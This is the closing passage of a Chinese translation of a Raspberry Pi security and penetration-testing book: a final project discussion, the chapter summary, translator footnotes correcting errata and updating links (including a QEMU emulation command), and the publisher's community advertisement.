搭建整套系统需要一些基本的电路知识，否则可以购买整套预先搭建好的产品。当然也知道大家对这个项目会有一些忧虑，这些忧虑包括它作为一套安防系统到底有多可靠，以及性价比是否合理，因为买一套常规的家庭安防报警系统价钱也差不多。然而相信对团队、教学和爱好者来说，这个架构还是很棒的。另外，从树莓派的自定义程度和系统的可扩展性来说，这套架构的潜力远高于主流现成的安防商业产品。

6.7　更多用途

除了安全方面以外，树莓派还有其他本书没有谈及的无数种用途。我最喜欢的应用包括OpenELEC（Open Embedded Linux Entertainment Center的简称，开源内嵌式Linux娱乐中心），它可以把树莓派变成一套家庭多媒体中心。其他的用途包括搭建运动检测器、地震监测仪、煤气监测器，等等。希望看完这一章后，能启发大家产生更多更有生产率的树莓派用法。

总结

本章提供了一些额外的树莓派使用工具和用法，简略地探讨了除Kali Linux之外的其他渗透工具集，但从IT圈子里的受欢迎程度看，Kali Linux依然是最有创意的。本章也谈到如何用ARM平台系统来做防护产品，如防火墙、IPS/IDS和VPN。最后介绍了一些和安全未必相关但比较酷的树莓派项目。

全书就到此为止了，希望读者们喜欢。我们也很乐于收到大家的反馈。很欢迎各位到相应的博客来分享你的想法。Aamir Lakhani的博客站点在 www.drchaos.com ，Joseph Muniz在www.thesecurityblogger.com 。在组织本书的相关主题时，我们从树莓派获得很多乐趣，希望你也会喜欢树莓派的体验。包括用这些新知识来干点好事坏事。Aamir希望用电影《蜘蛛侠》里关于责任的话结束全书。所以尽管Joseph有不同意见，但最后我们还是要说这句“能力越大，责任越大”。好好享受动手钻研的快乐吧！

[1] 　译者注：上述的数据库和这里的程序文件现在都已有升级，以网站当前版本为准。

[2] 　译者注：这里原文是写用vi，结果后面的命令行和截图都是nano，只好改了。

[3] 　译者注：原书图6-13和图6-14是完全一样的。但实际上图6-13应该是处于默认dhcp状态时的截图，而图6-14则是调整为静态IP地址后的，是作者粗心贴了两张一样的图。

[4] 　译者注：这个phpmyadmin是管理MySQL数据库的，但原文确实说是管理PHP的，严重怀疑作者笔误了。

[5] 　译者注：多加了一句，感觉原作者漏了。

[6] 　译者注：原文里这两处均为hostapd.conf，实际上应该是hostapd，指的是那个管理ap的执行文件而不是像原文写的那样，看着像配置文件。否则前面那个compile就说不通了，后面下载地址里提供的也是个可执行文件。

[7] 　译者注：看了下，这个版本颇老，不建议使用，只需要用apt-get安装最新的hostapd即可。

[8] 　译者注：并没有第16步！不知道原作者指的是哪里。从括号里的把echo从1改回0来看，跳过的也许是上面的第9步？

[9] 　译者注：在译者的64位Win10环境下，64位的QEMU实际上无法使用，但同样版本的32位QEMU则正常，所以推荐先选择32位版QEMU。

[10] 　译者注：译者自己装了一下当前版本的QEMU，默认是选择所有的系统的，不知道为什么原作者这么说。

[11] 　译者注：该地址已失效，请到https://github.com/dhruvvyas90/qemu-rpi-kernel 下载。

[12] 　译者注：在译者的64位Win10和QEMU 2.7.92环境中，该命令大致为qemu-system-arm.exe -kernel kernel-qemu-4.4.13-jessie -cpu arm1176 -m 256 -M versatilepb -no-reboot -serial stdio -append "root=/dev/sda2 panic=1 rootfstype=ext4 rw init=/bin/bash" -drive "file=2016-11-25-raspbian-jessie-lite.img, index=0,media=disk,format=raw"，仅供参考。

[13] 　译者注：以上网址已失效，在翻译本书时（2016年12月）该程序的下载地址为http://piaware.flightcdn.com/piaware-sd-card-3.1.0.img.zip 。整套接收器的具体搭建步骤请参见http://zh.flightaware.com/adsb/piaware/build 。

[14] 　译者注：现在的地址是 http://piplay.org/ 。

[15] 　译者注：这个地址是我改的，原文的已经不适用。

读累了记得休息一会哦~

公众号：古德猫宁李

电子书搜索下载

书单分享

书友学习交流

网站：沉金书屋 https://www.chenjin5.com

电子书搜索下载

电子书打包资源分享

学习资源分享

欢迎来到异步社区！

异步社区的来历

异步社区(www.epubit.com.cn )是人民邮电出版社旗下IT专业图书旗舰社区，于2015年8月上线运营。

异步社区依托于人民邮电出版社20余年的IT专业优质出版资源和编辑策划团队，打造传统出版与电子出版和自出版结合、纸质书与电子书结合、传统印刷与POD按需印刷结合的出版平台，提供最新技术资讯，为作者和读者打造交流互动的平台。

社区里都有什么？

购买图书

我们出版的图书涵盖主流IT技术，在编程语言、Web技术、数据科学等领域有众多经典畅销图书。社区现已上线图书1000余种，电子书400多种，部分新书实现纸书、电子书同步出版。我们还会定期发布新书书讯。

下载资源

社区内提供随书附赠的资源，如书中的案例或程序源代码。

另外，社区还提供了大量的免费电子书，只要注册成为社区用户就可以免费下载。

与作译者互动

很多图书的作译者已经入驻社区，您可以关注他们，咨询技术问题；可以阅读不断更新的技术文章，听作译者和编辑畅聊好书背后有趣的故事；还可以参与社区的作者访谈栏目，向您关注的作者提出采访题目。

灵活优惠的购书

您可以方便地下单购买纸质图书或电子图书，纸质图书直接从人民邮电出版社书库发货，电子书提供多种阅读格式。

对于重磅新书，社区提供预售和新书首发服务，用户可以第一时间买到心仪的新书。

用户帐户中的积分可以用于购书优惠。100积分=1元，购买图书时，在图像说明文字里填入可使用的积分数值，即可扣减相应金额。

特别优惠

购买本电子书的读者专享异步社区优惠券。 使用方法：注册成为社区用户，在下单购书时输入“57AWG ”，然后点击“使用优惠码”，即可享受电子书8折优惠（本优惠券只可使用一次）。

纸电图书组合购买

社区独家提供纸质图书和电子书组合购买方式，价格优惠，一次购买，多种阅读选择。

社区里还可以做什么？

提交勘误

您可以在图书页面下方提交勘误，每条勘误被确认后可以获得100积分。热心勘误的读者还有机会参与书稿的审校和翻译工作。

写作

社区提供基于Markdown的写作环境，喜欢写作的您可以在此一试身手，在社区里分享您的技术心得和读书体会，更可以体验自出版的乐趣，轻松实现出版的梦想。

如果成为社区认证作译者，还可以享受异步社区提供的作者专享特色服务。

会议活动早知道

您可以掌握IT圈的技术会议资讯，更有机会免费获赠大会门票。

加入异步

扫描任意二维码都能找到我们：

异步社区

微信订阅号

微信服务号

官方微博

QQ群：436746675

社区网址： www.epubit.com.cn

官方微信：异步社区

官方微博： @人邮异步社区，@人民邮电出版社-信息技术分社

投稿&咨询： contact@epubit.com.cn